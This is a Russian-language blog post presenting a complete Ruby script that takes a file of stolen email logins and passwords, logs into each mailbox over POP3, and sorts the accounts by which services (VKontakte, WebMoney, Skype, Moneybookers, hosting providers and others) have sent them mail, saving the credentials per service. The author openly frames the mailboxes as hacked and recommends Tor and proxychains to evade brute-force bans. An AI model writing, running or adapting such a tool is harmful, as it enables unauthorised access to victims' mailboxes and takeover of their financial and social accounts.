сканирование e-mail’ов на аккаунты различных сервисов
В общем зашел разговор о том что делать с вагоном e-mail’ов после того как вы их взломали добыли. Речь там шла про то как отсортировать эти почты по наличию определенных аккаунтов ( сам разговор ). А я как раз чуть больше года назад писал скрипт для этих целей. Собственно тут я его выложу и вкратце расскажу как он работает.
суть вкратце
Читаем поочередно из файла логины и пароли от почт, после чего заходим на них по POP3.
Далее проходимся по всем сообщениям и если это сообщение от нужного нам адреса, например Вконтакте.Ру (admin@vkontakte.ru), то добавляем этот логин в нужный список, удаляем из массива этого адресата и идем по его сообщениям дальше. Сканирование одной почты продолжается до тех пор пока не кончатся все адресаты или не закончатся сообщения в почте. Далее берем следующий e-mail.
скрипт
Скрипт написан на Ruby и работает как на версии 1.8, так и на 1.9. Пробовал его только на Linux, но подозреваю, что на Windows он тоже будет прекрасно работать.
получение параметров и начальная настройка
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | #!/usr/bin/ruby require 'net/pop' if ARGV.size!=3 puts "<infile> <logfile> <start no>" exit end $infile,$logfile,$start_no=ARGV $start_no=$start_no.to_i $service=['torrents.ru','tfile.ru','skype.com', 'ozon.ru','odnoklassniki.ru','smartpay.com.ua', 'vkontakte.ru', 'webmoney.ru','moneybookers.com', 'e-gold.com','e-port.ru','agava.ru', 'hoster.ru','dinohost.ru','eskhosting.ru', 'infobox.ru','zemskov.ru','art-host.ru'] |
Итак, скрипт получает в командной строке 3 параметра:
- файл, содержащий почты и пароли от них в формате
mail@example.ru:passwd
, причем каждая почта на новой строке - файл лога, сюда будут записываться все почты, к которым не удалось авторизоваться и другие ошибки
- номер почты в
$infile
, с которой нужно начать работу. Нумерация с нуля.
Далее идет массив, содержащий сервисы на которые будут сканироваться аккаунты почт. Смысл здесь в домене т.е. сюда нужно добавлять домены с которых высылаются e-mail’ы этих сервисов.
некоторые неключевые функции
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | def exist(str,file) outf=File.open(file,'a') outf.puts "#{Time.now}: #{str}" outf.close end def log(text,file) logf=File.open(file,'a') logf.puts "#{Time.now}: #{text}" logf.close puts "#{Time.now}: #{text}" end def check_letter(head,service) service.each_with_index {|se,i| return i if head.include?(se)} return -1 end |
Немного объясню функции:
exist
– записывает аккаунт почты в файл одноименный с доменом сервиса, в случае если почта зарегистрирована в этом сервисеlog
– записывает сообщение в файл логаcheck_letter
– проверяет заголовок письма на наличие домена сервиса, обходя массив сервисов. В случае если письмо отправлено от нужного домена возвращает индекс этого домена в массиве, в противном случае возвращает-1
.
функция сканирования почты
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 | def check(mail,pass,service) # разбиваем почтовый адрес @, на логин и домен login,pop_server=mail.split('@') pop_server='pop.'+pop_server count_reg=0 begin pop=Net::POP3.new(pop_server) rescue => e return -2 end#begin # соединяемся с POP3-сервером begin pop.start(login,pass) rescue => e return -1 end#begin begin # обходим письма в почте pop.mails.each do |msg| hed=msg.header STDOUT.flush if (si=check_letter(hed,service))>=0 print '!' ### exist("#{mail}/#{pass}",service[si]) # удаляем сервис из экземпляра # индивидуального массива сервисов # для данной почты service.delete_at(si) count_reg+=1 if service.size==0 pop.finish return count_reg end#if else print '.' end#if end#each rescue EOFError pop.finish return -4 rescue Timeout::Error pop.finish return -3 rescue Net::POPError pop.finish return -5 end#begin pop.finish return count_reg end#def |
Тут следует кое-что учесть. Эта функция в самом своем начале разбивает e-mail адрес на логин @ домен, после чего адрес POP3-сервера получается из суммы ‘pop.’+домен.
Такая схема работает для бесплатных обывательских почт типа: mail.ru, rambler.ru, yandex.ru, hotmail.com итд. Однако, если почта не от популярных сервисов бесплатных почт, то адрес POP3-сервера может быть какой угодно.
Также нужно знать, если домен настроен, например, в услуге Яндекса ‘Почта для домена’, то логин будет равен адресу почты целиком, а не только его первая часть до собаки (@).
обход исходного файла
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | inf=File.open($infile,'r') i=0 # крутим файл до заданной начальной строки while(i<$start_no) do str=inf.gets i+=1 end # построчно обходим файл while !inf.eof do str=inf.gets.chop! print "#{i})#{str} checking..." ### STDOUT.flush ret=check(str.split(":")[0],str.split(":")[1],$service).to_i case ret when -3 log("Unknow time is out #{str}",$logfile) when -2 log("Can't connect to the server #{str}",$logfile) when -1 log("Can't auth #{str}",$logfile) when 0 puts "FAIL #{str}" else puts "#{Time.now}: #{str} SUCCESS #{ret}" end i+=1 end inf.close |
Ну тут все просто и примитивно.
заключение
Следует помнить, что доступ по POP3 вообще может быть отключен у почты, в этом случае почта будет добавлен в лог, как имеющая не верный пароль. Помимо этого если в списке много раз будет не проходить авторизация, то тот или иной POP3-сервер может забанить ваш IP за брутфорс, чтобы такого не было рекомендую запускать скрипт через известную связку TOR-Privoxy-Proxychains.
Целиком скрипт можно скачать тут - check_mail_for_diff_accs.rb.